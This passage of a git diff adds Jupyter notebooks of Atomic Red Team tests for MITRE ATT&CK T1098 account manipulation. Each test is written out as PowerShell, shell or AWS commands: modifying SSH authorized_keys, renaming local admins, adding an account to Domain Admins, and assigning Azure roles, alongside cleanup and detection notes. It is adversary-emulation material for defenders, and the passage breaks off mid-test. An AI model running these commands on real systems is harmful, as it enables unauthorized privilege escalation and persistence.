example, by using the Google Cloud CLI\u2019s \u201cadd-metadata\u201d command an adversary may add SSH keys to a user account.(Citation: Google Cloud Add Metadata)(Citation: Google Cloud Privilege Escalation) Similarly, in Azure, an adversary may update the authorized_keys file of a virtual machine via a PATCH request to the API.(Citation: Azure Update Virtual Machines) This ensures that an adversary possessing the corresponding private key may log in as an existing user via SSH.(Citation: Venafi SSH Key Abuse)(Citation: Cybereason Linux Exim Worm) It may also lead to privilege escalation where the virtual machine or instance has distinct permissions from the requesting user.\n\nWhere authorized_keys files are modified via cloud APIs or command line interfaces, an adversary may achieve privilege escalation on the target virtual machine if they add a key to a higher-privileged user. \n\nSSH keys can also be added to accounts on network devices, such as with the `ip ssh pubkey-chain` [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) command.(Citation: cisco_ip_ssh_pubkey_ch_cmd)" + }, + { + "cell_type": "markdown", + "id": "ad965b61", + "metadata": {}, + "source": "## Atomic Tests" + }, + { + "cell_type": "markdown", + "id": "d7ceae90", + "metadata": {}, + "source": [ + "### Atomic Test #1 - Modify SSH Authorized Keys", + "Modify contents of /.ssh/authorized_keys to maintain persistence on victim host. \nIf the user is able to save the same contents in the authorized_keys file, it shows user can modify the file.\n", + "**Supported Platforms:** linux, macos", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `sh`\n", + "```sh\nif [ -f ~/.ssh/authorized_keys ]; then ssh_authorized_keys=$(cat ~/.ssh/authorized_keys); echo \"$ssh_authorized_keys\" > ~/.ssh/authorized_keys; fi;\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "d8e5f6c0", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1098.004 -TestNumbers 1" + }, + { + "cell_type": "markdown", + "id": "4c1b15ec", + "metadata": {}, + "source": "#### Cleanup: \n```sh\nunset ssh_authorized_keys\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "3e9cb953", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1098.004 -TestNumbers 1 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "b499de3c", + "metadata": {}, + "source": "## Detection\nUse file integrity monitoring to detect changes made to the authorized_keys file for each user on a system. Monitor for suspicious processes modifying the authorized_keys file. In cloud environments, monitor instances for modification of metadata and configurations.\n\nMonitor for changes to and suspicious processes modifiying /etc/ssh/sshd_config.\n\nFor network infrastructure devices, collect AAA logging to monitor for rogue SSH keys being added to accounts." + } + ], + "metadata": { + "kernelspec": { + "display_name": ".NET (PowerShell)", + "language": "pwsh", + "name": ".net-powershell" + }, + "language_info": { + "file_extension": ".ps1", + "mimetype": "text/x-powershell", + "name": "pwsh", + "pygments_lexer": "powershell", + "version": "7.0" + } + }, + "nbformat": 4, + "nbformat_minor": 5 +} \ No newline at end of file diff --git a/playbook/tactics/privilege-escalation/T1098.005.ipynb b/playbook/tactics/privilege-escalation/T1098.005.ipynb new file mode 100644 index 00000000..9fd13426 --- /dev/null +++ b/playbook/tactics/privilege-escalation/T1098.005.ipynb @@ -0,0 +1,32 @@ +{ + "cells": [ + { + "cell_type": "markdown", + "id": "fc1bac56", + "metadata": {}, + "source": "# T1098.005 - Device Registration\nAdversaries may register a device to an adversary-controlled account. Devices may be registered in a multifactor authentication (MFA) system, which handles authentication to the network, or in a device management system, which handles device access and compliance.\n\nMFA systems, such as Duo or Okta, allow users to associate devices with their accounts in order to complete MFA requirements. An adversary that compromises a user\u2019s credentials may enroll a new device in order to bypass initial MFA requirements and gain persistent access to a network.(Citation: CISA MFA PrintNightmare)(Citation: DarkReading FireEye SolarWinds) In some cases, the MFA self-enrollment process may require only a username and password to enroll the account's first device or to enroll a device to an inactive account. (Citation: Mandiant APT29 Microsoft 365 2022)\n\nSimilarly, an adversary with existing access to a network may register a device to Azure AD and/or its device management system, Microsoft Intune, in order to access sensitive data or resources while bypassing conditional access policies.(Citation: AADInternals - Device Registration)(Citation: AADInternals - Conditional Access Bypass)(Citation: Microsoft DEV-0537) \n\nDevices registered in Azure AD may be able to conduct [Internal Spearphishing](https://attack.mitre.org/techniques/T1534) campaigns via intra-organizational emails, which are less likely to be treated as suspicious by the email client.(Citation: Microsoft - Device Registration) Additionally, an adversary may be able to perform a [Service Exhaustion Flood](https://attack.mitre.org/techniques/T1499/002) on an Azure AD tenant by registering a large number of devices.(Citation: AADInternals - BPRT)" + }, + { + "cell_type": "markdown", + "id": "afbe8429", + "metadata": {}, + "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." + } + ], + "metadata": { + "kernelspec": { + "display_name": ".NET (PowerShell)", + "language": "pwsh", + "name": ".net-powershell" + }, + "language_info": { + "file_extension": ".ps1", + "mimetype": "text/x-powershell", + "name": "pwsh", + "pygments_lexer": "powershell", + "version": "7.0" + } + }, + "nbformat": 4, + "nbformat_minor": 5 +} \ No newline at end of file diff --git a/playbook/tactics/privilege-escalation/T1098.006.ipynb b/playbook/tactics/privilege-escalation/T1098.006.ipynb new file mode 100644 index 00000000..2843a1dd --- /dev/null +++ b/playbook/tactics/privilege-escalation/T1098.006.ipynb @@ -0,0 +1,32 @@ +{ + "cells": [ + { + "cell_type": "markdown", + "id": "8cab31bc", + "metadata": {}, + "source": "# T1098.006 - Additional Container Cluster Roles\nAn adversary may add additional roles or permissions to an adversary-controlled user or service account to maintain persistent access to a container orchestration system. For example, an adversary with sufficient permissions may create a RoleBinding or a ClusterRoleBinding to bind a Role or ClusterRole to a Kubernetes account.(Citation: Kubernetes RBAC)(Citation: Aquasec Kubernetes Attack 2023) Where attribute-based access control (ABAC) is in use, an adversary with sufficient permissions may modify a Kubernetes ABAC policy to give the target account additional permissions.(Citation: Kuberentes ABAC)\n \nThis account modification may immediately follow [Create Account](https://attack.mitre.org/techniques/T1136) or other malicious account activity. Adversaries may also modify existing [Valid Accounts](https://attack.mitre.org/techniques/T1078) that they have compromised. \n\nNote that where container orchestration systems are deployed in cloud environments, as with Google Kubernetes Engine, Amazon Elastic Kubernetes Service, and Azure Kubernetes Service, cloud-based role-based access control (RBAC) assignments or ABAC policies can often be used in place of or in addition to local permission assignments.(Citation: Google Cloud Kubernetes IAM)(Citation: AWS EKS IAM Roles for Service Accounts)(Citation: Microsoft Azure Kubernetes Service Service Accounts) In these cases, this technique may be used in conjunction with [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003)." + }, + { + "cell_type": "markdown", + "id": "ee98e1ca", + "metadata": {}, + "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." + } + ], + "metadata": { + "kernelspec": { + "display_name": ".NET (PowerShell)", + "language": "pwsh", + "name": ".net-powershell" + }, + "language_info": { + "file_extension": ".ps1", + "mimetype": "text/x-powershell", + "name": "pwsh", + "pygments_lexer": "powershell", + "version": "7.0" + } + }, + "nbformat": 4, + "nbformat_minor": 5 +} \ No newline at end of file diff --git a/playbook/tactics/privilege-escalation/T1098.ipynb b/playbook/tactics/privilege-escalation/T1098.ipynb new file mode 100644 index 00000000..5f8e3770 --- /dev/null +++ b/playbook/tactics/privilege-escalation/T1098.ipynb @@ -0,0 +1,677 @@ +{ + "cells": [ + { + "cell_type": "markdown", + "id": "c4cf6c9c", + "metadata": {}, + "source": "# T1098 - Account Manipulation\nAdversaries may manipulate accounts to maintain and/or elevate access to victim systems. Account manipulation may consist of any action that preserves or modifies adversary access to a compromised account, such as modifying credentials or permission groups. These actions could also include account activity designed to subvert security policies, such as performing iterative password updates to bypass password duration policies and preserve the life of compromised credentials. \n\nIn order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain. However, account manipulation may also lead to privilege escalation where modifications grant access to additional roles, permissions, or higher-privileged [Valid Accounts](https://attack.mitre.org/techniques/T1078)." + }, + { + "cell_type": "markdown", + "id": "68462ecc", + "metadata": {}, + "source": "## Atomic Tests" + }, + { + "cell_type": "markdown", + "id": "4529562c", + "metadata": {}, + "source": [ + "### Atomic Test #1 - Admin Account Manipulate", + "Manipulate Admin Account Name\n", + "**Supported Platforms:** windows", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `powershell`\n", + "```powershell\n$x = Get-Random -Minimum 2 -Maximum 9999\n$y = Get-Random -Minimum 2 -Maximum 9999\n$z = Get-Random -Minimum 2 -Maximum 9999\n$w = Get-Random -Minimum 2 -Maximum 9999\nWrite-Host HaHa_$x$y$z\n\n$fmm = Get-LocalGroupMember -Group Administrators |?{ $_.ObjectClass -match \"User\" -and $_.PrincipalSource -match \"Local\"} | Select Name\n\nforeach($member in $fmm) {\n if($member -like \"*Administrator*\") {\n $account = $member.Name.Split(\"\\\")[-1] # strip computername\\\n $originalDescription = (Get-LocalUser -Name $account).Description\n Set-LocalUser -Name $account -Description \"atr:$account;$originalDescription\".Substring(0,48) # Keep original name in description\n Rename-LocalUser -Name $account -NewName \"HaHa_$x$y$z\" # Required due to length limitation\n Write-Host \"Successfully Renamed $account Account on \" $Env:COMPUTERNAME\n }\n }\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "273aa758", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1098 -TestNumbers 1" + }, + { + "cell_type": "markdown", + "id": "a789391e", + "metadata": {}, + "source": "#### Cleanup: \n```powershell\n$list = Get-LocalUser |?{$_.Description -like \"atr:*\"}\nforeach($u in $list) {\n $u.Description -match \"atr:(?[^;]+);(?.*)\"\n Set-LocalUser -Name $u.Name -Description $Matches.Description\n Rename-LocalUser -Name $u.Name -NewName $Matches.Name\n Write-Host \"Successfully Reverted Account $($u.Name) to $($Matches.Name) on \" $Env:COMPUTERNAME\n}\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "4d436249", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1098 -TestNumbers 1 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "1a9fa74f", + "metadata": {}, + "source": "### Atomic Test #2 - Domain Account and Group Manipulate\nCreate a random atr-nnnnnnnn account and add it to a domain group (by default, Domain Admins). \n\nThe quickest way to run it is against a domain controller, using `-Session` of `Invoke-AtomicTest`. Alternatively,\nyou need to install PS Module ActiveDirectory (in prereqs) and run the script with appropriare AD privileges to \ncreate the user and alter the group. Automatic installation of the dependency requires an elevated session, \nand is unlikely to work with Powershell Core (untested).\n\nIf you consider running this test against a production Active Directory, the good practise is to create a dedicated\nservice account whose delegation is given onto a dedicated OU for user creation and deletion, as well as delegated\nas group manager of the target group.\n\nExample: `Invoke-AtomicTest -Session $session 'T1098' -TestNames \"Domain Account and Group Manipulate\" -InputArgs @{\"group\" = \"DNSAdmins\" }`\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: PS Module ActiveDirectory\n\n##### Check Prereq Commands:\n```powershell\nTry {\n Import-Module ActiveDirectory -ErrorAction Stop | Out-Null\n exit 0\n} \nCatch {\n exit 1\n}\n\n```\n##### Get Prereq Commands:\n```powershell\nif((Get-CimInstance -ClassName Win32_OperatingSystem).ProductType -eq 1) {\n Add-WindowsCapability -Name (Get-WindowsCapability -Name RSAT.ActiveDirectory.DS* -Online).Name -Online\n} else {\n Install-WindowsFeature RSAT-AD-PowerShell\n}\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "9db28480", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1098 -TestNumbers 2 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "99c35ec2", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `powershell`\n", + "```powershell\n$x = Get-Random -Minimum 2 -Maximum 99\n$y = Get-Random -Minimum 2 -Maximum 99\n$z = Get-Random -Minimum 2 -Maximum 99\n$w = Get-Random -Minimum 2 -Maximum 99\n\nImport-Module ActiveDirectory\n$account = \"atr--$x$y$z\"\nNew-ADUser -Name $account -GivenName \"Test\" -DisplayName $account -SamAccountName $account -Surname $account -Enabled:$False \nAdd-ADGroupMember \"Domain Admins\" $account\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "d205d623", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1098 -TestNumbers 2" + }, + { + "cell_type": "markdown", + "id": "414be762", + "metadata": {}, + "source": "#### Cleanup: \n```powershell\nGet-ADUser -LDAPFilter \"(&(samaccountname=atr--*)(givenName=Test))\" | Remove-ADUser -Confirm:$False\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "059e05a5", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1098 -TestNumbers 2 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "de83ae5f", + "metadata": {}, + "source": "### Atomic Test #3 - AWS - Create a group and add a user to that group\nAdversaries create AWS group, add users to specific to that group to elevate their privilieges to gain more accesss\n\n**Supported Platforms:** iaas:aws\n#### Dependencies: Run with `sh`!\n##### Description: Check if the user exists, we can only add a user to a group if the user exists.\n\n##### Check Prereq Commands:\n```sh\naws iam list-users | grep atomicredteam\n\n```\n##### Get Prereq Commands:\n```sh\necho Please run atomic test T1136.003, before running this atomic test\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "4f91dde9", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1098 -TestNumbers 3 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "a27d8891", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `sh`\n", + "```sh\naws iam create-group --group-name atomicredteam\naws iam add-user-to-group --user-name atomicredteam --group-name atomicredteam\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "70d089ad", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1098 -TestNumbers 3" + }, + { + "cell_type": "markdown", + "id": "8d97f05e", + "metadata": {}, + "source": "#### Cleanup: \n```sh\naws iam remove-user-from-group --user-name atomicredteam --group-name atomicredteam\naws iam delete-group --group-name atomicredteam\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "10831f2d", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1098 -TestNumbers 3 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "54928e65", + "metadata": {}, + "source": "### Atomic Test #4 - Azure AD - adding user to Azure AD role\nThe adversaries want to add user to some Azure AD role. Threat actor \nmay be interested primarily in highly privileged roles, e.g. Global Administrator, Application Administrator, \nPrivileged Authentication Administrator (this role can reset Global Administrator password!).\nBy default, the role Global Reader is assigned to the user principal in this test.\n\nThe account you use to run the PowerShell command should have Privileged Role Administrator or Global Administrator role in your Azure AD.\n\nDetection hint - check Activity \"Add member to role\" in Azure AD Audit Logs. In targer you will also see User as a type.\n\n**Supported Platforms:** azure-ad\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: AzureAD module must be installed.\n\n##### Check Prereq Commands:\n```powershell\ntry {if (Get-InstalledModule -Name AzureAD -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nInstall-Module -Name AzureAD -Force\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "47b14c45", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1098 -TestNumbers 4 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "a183ab4f", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `powershell`\n", + "```powershell\nImport-Module -Name AzureAD\n$PWord = ConvertTo-SecureString -String \"p4sswd\" -AsPlainText -Force\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \"jonh@contoso.com\", $Pword\nConnect-AzureAD -Credential $Credential\n\n$user = Get-AzureADUser -Filter \"DisplayName eq 'SuperUser' or UserPrincipalName eq 'SuperUser'\"\nif ($user -eq $null) { Write-Warning \"User not found\"; exit }\n$role = Get-AzureADDirectoryRole -Filter \"DisplayName eq 'Global Reader'\"\nif ($role -eq $null) { Write-Warning \"Role not found\"; exit }\nAdd-AzureADDirectoryRoleMember -ObjectId $role.ObjectId -RefObjectId $user.ObjectId\nWrite-Host \"User $($user.DisplayName) was added to $($role.DisplayName) role\"\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "ce419b14", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1098 -TestNumbers 4" + }, + { + "cell_type": "markdown", + "id": "097540b6", + "metadata": {}, + "source": "#### Cleanup: \n```powershell\nImport-Module -Name AzureAD -ErrorAction Ignore\n$PWord = ConvertTo-SecureString -String \"p4sswd\" -AsPlainText -Force\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \"jonh@contoso.com\", $Pword\nConnect-AzureAD -Credential $Credential -ErrorAction Ignore\n\n$user = Get-AzureADUser -Filter \"DisplayName eq 'SuperUser' or UserPrincipalName eq 'SuperUser'\"\nif ($user -eq $null) { Write-Warning \"User not found\"; exit }\n$role = Get-AzureADDirectoryRole -Filter \"DisplayName eq 'Global Reader'\"\nif ($role -eq $null) { Write-Warning \"Role not found\"; exit }\n\nRemove-AzureADDirectoryRoleMember -ObjectId $role.ObjectId -MemberId $user.ObjectId\nWrite-Host \"User $($user.DisplayName) was removed from $($role.DisplayName) role\"\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "17b651db", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1098 -TestNumbers 4 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "72ce5876", + "metadata": {}, + "source": "### Atomic Test #5 - Azure AD - adding service principal to Azure AD role\nThe adversaries want to add service principal to some Azure AD role. Threat actor \nmay be interested primarily in highly privileged roles, e.g. Global Administrator, Application Administrator, \nPrivileged Authentication Administrator (this role can reset Global Administrator password!).\nBy default, the role Global Reader is assigned to service principal in this test.\n\nThe account you use to run the PowerShell command should have Privileged Role Administrator or Global Administrator role in your Azure AD.\n\nDetection hint - check Activity \"Add member to role\" in Azure AD Audit Logs. In targer you will also see Service Principal as a type.\n\n**Supported Platforms:** azure-ad\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: AzureAD module must be installed.\n\n##### Check Prereq Commands:\n```powershell\ntry {if (Get-InstalledModule -Name AzureAD -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nInstall-Module -Name AzureAD -Force\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "f81ae6f7", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1098 -TestNumbers 5 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "db56da9b", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `powershell`\n", + "```powershell\nImport-Module -Name AzureAD\n$PWord = ConvertTo-SecureString -String \"p4sswd\" -AsPlainText -Force\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \"jonh@contoso.com\", $Pword\nConnect-AzureAD -Credential $Credential\n\n$sp = Get-AzureADServicePrincipal -Filter \"DisplayName eq 'SuperSP'\"\nif ($sp -eq $null) { Write-Warning \"Service Principal not found\"; exit }\n$role = Get-AzureADDirectoryRole -Filter \"DisplayName eq 'Global Reader'\"\nif ($role -eq $null) { Write-Warning \"Role not found\"; exit }\nAdd-AzureADDirectoryRoleMember -ObjectId $role.ObjectId -RefObjectId $sp.ObjectId\nWrite-Host \"Service Principal $($sp.DisplayName) was added to $($role.DisplayName)\"\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "fd6748c8", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1098 -TestNumbers 5" + }, + { + "cell_type": "markdown", + "id": "214178ea", + "metadata": {}, + "source": "#### Cleanup: \n```powershell\nImport-Module -Name AzureAD -ErrorAction Ignore\n$PWord = ConvertTo-SecureString -String \"p4sswd\" -AsPlainText -Force\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \"jonh@contoso.com\", $Pword\nConnect-AzureAD -Credential $Credential -ErrorAction Ignore\n\n$sp = Get-AzureADServicePrincipal -Filter \"DisplayName eq 'SuperSP'\"\nif ($sp -eq $null) { Write-Warning \"Service Principal not found\"; exit }\n$role = Get-AzureADDirectoryRole -Filter \"DisplayName eq 'Global Reader'\"\nif ($role -eq $null) { Write-Warning \"Role not found\"; exit }\n\nRemove-AzureADDirectoryRoleMember -ObjectId $role.ObjectId -MemberId $sp.ObjectId\nWrite-Host \"Service Principal $($sp.DisplayName) was removed from $($role.DisplayName) role\"\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "0dc5e314", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1098 -TestNumbers 5 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "db70bfe5", + "metadata": {}, + "source": "### Atomic Test #6 - Azure - adding user to Azure role in subscription\nThe adversaries want to add user to some Azure role, also called Azure resource role. Threat actor \nmay be interested primarily in highly privileged roles, e.g. Owner, Contributor.\nBy default, the role Reader is assigned to user in this test.\n\nNew-AzRoleAssignment cmdlet could be also use to assign user/service principal to resource, resource group and management group.\n\nThe account you use to run the PowerShell command must have Microsoft.Authorization/roleAssignments/write \n(e.g. such as User Access Administrator or Owner) and the Azure Active Directory Graph Directory.Read.All \nand Microsoft Graph Directory.Read.All permissions.\n\nDetection hint - check Operation Name \"Create role assignment\" in subscriptions Activity Logs.\n\n**Supported Platforms:** iaas:azure\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Az.Resources module must be installed.\n\n##### Check Prereq Commands:\n```powershell\ntry {if (Get-InstalledModule -Name Az.Resources -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nInstall-Module -Name Az.Resources -Force\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "ca80213e", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1098 -TestNumbers 6 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "cf3d9392", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `powershell`\n", + "```powershell\nImport-Module -Name Az.Resources\n$PWord = ConvertTo-SecureString -String \"p4sswd\" -AsPlainText -Force\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \"jonh@contoso.com\", $Pword\nConnect-AzAccount -Credential $Credential\n\n$user = Get-AzADUser | where-object {$_.DisplayName -eq \"SuperUser\" -or $_.UserPrincipalName -eq \"SuperUser\" }\nif ($user -eq $null) { Write-Warning \"User not found\"; exit }\n$subscription = Get-AzSubscription | where-object {$_.Name -eq \"Azure subscription 1\"}\nif ($subscription -eq $null) { Write-Warning \"Subscription not found\"; exit }\n$role = Get-AzRoleDefinition | where-object {$_.Name -eq \"Reader\"}\nif ($role -eq $null) { Write-Warning \"Role not found\"; exit }\n\nNew-AzRoleAssignment -ObjectId $user.id -RoleDefinitionId $role.id -Scope /subscriptions/$subscription\nWrite-Host \"User $($user.DisplayName) was added to $($role.Name) role in subscriptions $($subscriptions.Name)\"\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "0d3246f0", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1098 -TestNumbers 6" + }, + { + "cell_type": "markdown", + "id": "c5436adc", + "metadata": {}, + "source": "#### Cleanup: \n```powershell\nImport-Module -Name AzureAD -ErrorAction Ignore\n$PWord = ConvertTo-SecureString -String \"p4sswd\" -AsPlainText -Force\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \"jonh@contoso.com\", $Pword\nConnect-AzAccount -Credential $Credential -ErrorAction Ignore\n\n$user = Get-AzADUser | where-object {$_.DisplayName -eq \"SuperUser\" -or $_.UserPrincipalName -eq \"SuperUser\" }\nif ($user -eq $null) { Write-Warning \"User not found\"; exit }\n$subscription = Get-AzSubscription | where-object {$_.Name -eq \"Azure subscription 1\"}\nif ($subscription -eq $null) { Write-Warning \"Subscription not found\"; exit }\n$role = Get-AzRoleDefinition | where-object {$_.Name -eq \"Reader\"}\nif ($role -eq $null) { Write-Warning \"Role not found\"; exit }\n\nRemove-AzRoleAssignment -ObjectId $user.id -RoleDefinitionId $role.id -Scope /subscriptions/$subscription\nWrite-Host \"User Principal $($sp.DisplayName) was removed from $($role.Name) role in subscriptions $($subscriptions.Name)\"\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "6a1ccdd9", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1098 -TestNumbers 6 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "5823f363", + "metadata": {}, + "source": "### Atomic Test #7 - Azure - adding service principal to Azure role in subscription\nThe adversaries want to add service principal to some Azure role, also called Azure resource role. Threat actor \nmay be interested primarily in highly privileged roles, e.g. Owner, Contributor.\nBy default, the role Reader is assigned to service principal in this test.\n\nNew-AzRoleAssignment cmdlet could be also use to assign user/service principal to resource, resource group and management group.\n\nThe account you use to run the PowerShell command must have Microsoft.Authorization/roleAssignments/write \n(e.g. such as User Access Administrator or Owner) and the Azure Active Directory Graph Directory.Read.All \nand Microsoft Graph Directory.Read.All permissions.\n\nDetection hint - check Operation Name \"Create role assignment\" in subscriptions Activity Logs.\n\n**Supported Platforms:** iaas:azure\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Az.Resources module must be installed.\n\n##### Check Prereq Commands:\n```powershell\ntry {if (Get-InstalledModule -Name Az.Resources -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nInstall-Module -Name Az.Resources -Force\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "31f2bb24", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1098 -TestNumbers 7 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "aff3cb01", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `powershell`\n", + "```powershell\nImport-Module -Name Az.Resources\n$PWord = ConvertTo-SecureString -String \"p4sswd\" -AsPlainText -Force\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \"jonh@contoso.com\", $Pword\nConnect-AzAccount -Credential $Credential\n\n$sp = Get-AzADServicePrincipal | where-object {$_.DisplayName -eq \"SuperSP\"}\nif ($sp -eq $null) { Write-Warning \"Service Principal not found\"; exit }\n$subscription = Get-AzSubscription | where-object {$_.Name -eq \"Azure subscription 1\"} \nif ($subscription -eq $null) { Write-Warning \"Subscription not found\"; exit }\n$role = Get-AzRoleDefinition | where-object {$_.Name -eq \"Reader\"}\nif ($role -eq $null) { Write-Warning \"Role not found\"; exit }\n\nNew-AzRoleAssignment -ObjectId $sp.id -RoleDefinitionId $role.id -Scope /subscriptions/$subscription\nWrite-Host \"Service Principal $($sp.DisplayName) was added to $($role.Name) role in subscriptions $($subscriptions.Name)\"\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "e48b1243", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1098 -TestNumbers 7" + }, + { + "cell_type": "markdown", + "id": "3dff8f33", + "metadata": {}, + "source": "#### Cleanup: \n```powershell\nImport-Module -Name AzureAD -ErrorAction Ignore\n$PWord = ConvertTo-SecureString -String \"p4sswd\" -AsPlainText -Force\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \"jonh@contoso.com\", $Pword\nConnect-AzAccount -Credential $Credential -ErrorAction Ignore\n\n$sp = Get-AzADServicePrincipal | where-object {$_.DisplayName -eq \"SuperSP\"}\nif ($sp -eq $null) { Write-Warning \"Service Principal not found\"; exit }\n$subscription = Get-AzSubscription | where-object {$_.Name -eq \"Azure subscription 1\"} \nif ($subscription -eq $null) { Write-Warning \"Subscription not found\"; exit }\n$role = Get-AzRoleDefinition | where-object {$_.Name -eq \"Reader\"}\nif ($role -eq $null) { Write-Warning \"Role not found\"; exit }\n\nRemove-AzRoleAssignment -ObjectId $sp.id -RoleDefinitionId $role.id -Scope /subscriptions/$subscription\nWrite-Host \"Service Principal $($sp.DisplayName) was removed from $($role.Name) role in subscriptions $($subscriptions.Name)\"\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "e0f79b1d", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1098 -TestNumbers 7 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "0190ee7e", + "metadata": {}, + "source": "### Atomic Test #8 - Azure AD - adding permission to application\nThe adversaries want to add permission to newly created application. Application could be then used for persistence or for further operation in the attacked infrastructure. Permissions like AppRoleAssignment.ReadWrite.All or RoleManagement.ReadWrite.Directory in particular can be a valuable target for a threat actor.\nThis technique will create a new app, with the provided name, and give it the provided permission. But if you prefer to add credentials to an existing app, replace in the code: \"Get-AzureADApplication\" instead of \"New-AzureADServicePrincipal\".\nThe DirectoryRecommendations.Read.All permissions has been selected as the default.\n\nThe account you use to run the PowerShell command should have Global Administrator/Application Administrator/Cloud Application Administrator role in your Azure AD.\n\nDetection hint - check Operation Name \"Add app role assignment to service principal\" in subscriptions Activity Logs.\nYou can also take a look at the materials:\nhttps://learnsentinel.blog/2022/01/04/azuread-privesc-sentinel/\nhttps://github.com/reprise99/Sentinel-Queries\nhttps://docs.google.com/presentation/d/1AWx1w0Xcq8ENvOmSjAJswEgEio-il09QWZlGg9PbHqE/edit#slide=id.g10460eb209c_0_2766\nhttps://gist.github.com/andyrobbins/7c3dd62e6ed8678c97df9565ff3523fb\n\n**Supported Platforms:** azure-ad\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: AzureAD module must be installed.\n\n##### Check Prereq Commands:\n```powershell\ntry {if (Get-InstalledModule -Name AzureAD -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1}\n\n```\n##### 